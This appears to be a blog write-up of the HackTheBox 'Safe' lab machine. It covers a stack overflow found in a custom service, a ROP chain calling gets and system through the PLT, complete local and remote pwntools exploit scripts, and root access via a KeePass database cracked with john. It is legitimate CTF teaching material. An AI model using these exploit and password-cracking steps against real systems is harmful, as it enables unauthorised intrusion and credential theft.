Syrion

Offensive Security And CTF

Safe Writeup

Oct 26, 2019 • hackthebox

Screenshot

User Flag

Let’s run a full TCP scan with NMAP in order to enumerate all the available TCP services:

Screenshot

How we can see, there are 3 open ports. On the 1337, there is an unknow service:

Screenshot

Going to http://10.10.10.147, we find the default Apache webpage but, by inspecting the source code, we find a comment about the service running on port 1337:

Screenshot

Screenshot

We can download the binary at http://10.10.10.147/myapp, it’s the same running on port 1337:

Screenshot

Now check if the service crashes after receiving a certain ammount of character, we can use python to generate 119 ‘A’s:

Screenshot

Ok, it crashes! Let’s use gdb-peda to debug the application and understand how it working. In the following image we can see the only enabled protection is NX, obviously the operating system has ASRL enabled too (trust me it’s enabled :-P):

Screenshot

Because there is no PIE, the PLT is not randomized so we can call the puts, system, prinft and gets functions:

Screenshot

Let’s set a break point on the gets call and try to debug the binary:

Screenshot

How we can see, we are no able to debug the application because a new process is spawned and our debuger is not able to “follow” the new spawned process. In order to solve this problem, we can use the “set follow-fork-mode parent” command in order to let gdb-peda to “came back” to our process:

Screenshot

At this point, we need to know how much ‘A’s we need to overwrite EBP, to do this, we can use the pattern_create script:

Screenshot

Using the obtained string, we can see the value of EBP and use the pattern_offset to obtain the number of ‘A’s we need to overwrite EBP, we have to add 8 more ‘A’s to overwrite EIP:

Screenshot

Screenshot

With 120 ‘A’s and 8 ‘B’s we are able to trigger a ret instruction on the address 0x4242424242424242, that means we controll EIP:

Screenshot

At this point, we controll the program flow, the idea is to call the system function (via PLT ad fix address), with /bin/bash as parameter. The x64 calling convetion tells us that the first argument must be pass throu the RDI register. So we need an instruction that take the value on the top of the stack and put it into the RDI register. We can use ROPgadget for this purpose:

Screenshot

Ok, our instruction is at address 0x40120b!! So what does our payload should do?

  • 120 ‘A’s
  • Address POP RDI; RET; (0x40120b)
  • Address of /bin/bash string
  • System PLT Address

Is it ok? No, we have another problem: ASRL(I told you before :-P), we don’t know the address of our “/bin/bash” string. We need to figure it out how to deal with it! We can find a writable fixed address, use the GETS function (PLT) to write our “/bin/bash” string into it. Using the vmmap command, we can see the memory mapping and it’s permissions:

Screenshot

Ok, how we can see, the memory from 0x00404000 to 0x00405000 is writable and is part of our binary (fixed address!!!), let’s use the address 0x404050. What does our exploit have to do?

  • 120 ‘A’s
  • Address POP RDI; RET; (0x40120b)
  • Writable Address (0x404050)
  • Gets PLT Address
  • Address POP RDI; RET; (0x40120b)
  • Address of /bin/bash string (0x404050)
  • System PLT Address

Using pwntool, this is the local exploit:

from pwn import *

e = ELF("/root/Desktop/myapp")
p = process("/root/Desktop/myapp")

payload = "A"*(120)
payload += p64(0x000000000040120b) #pop rdi; ret
payload += p64(0x404050) #writable address
payload += p64(0x401060) #gets@PLT
payload += p64(0x000000000040120b) #pop rdi; ret
payload += p64(0x404050) #writable address
payload += p64(0x401040) #system@PLT
print p.read 
print p.read
print "Invio Payload"
p.write(payload+"\n")
p.write("/bin/bash\n")
print p.read()
p.interactive()

Screenshot

Ok it works, let’s use the connection to the remote service in order to obtain a reverse shell from Safe machine:

from pwn import *

e = ELF("/root/Desktop/myapp")
p = remote("10.10.10.147",1337)

payload = "A"*(120)
payload += p64(0x000000000040120b) #pop rdi; ret
payload += p64(0x404050) #writable address 
payload += p64(0x401060) #gets@PLT
payload += p64(0x000000000040120b) #pop rdi; ret
payload += p64(0x404050) #writable address
payload += p64(0x401040) #system@PLT
payload += "\x90" *50
print p.read
print p.read
print "Invio Payload"
p.write(payload+"\n")
p.write("/bin/bash\n")
print p.read()
p.interactive()

Screenshot

Root Flag

We can add our ssh key to the authorized_key file in order to access with SSH:

Screenshot

In the home folder of user there are 6 images and a keepass file:

Screenshot

We can use keepass2john and john to crack the keepass file, one of the images maybe a keyfile, using keepass2john we can generate an a file containing multiple hashes, one for each images as key :

Screenshot

With john, we obtain the password “bullshit”:

Screenshot

Using the password “bullshit” and the file IMG_0547.JPG as keyfile, we can access the keepass file and obtain the root password:

Screenshot

Screenshot

With su command we become the user root:

Screenshot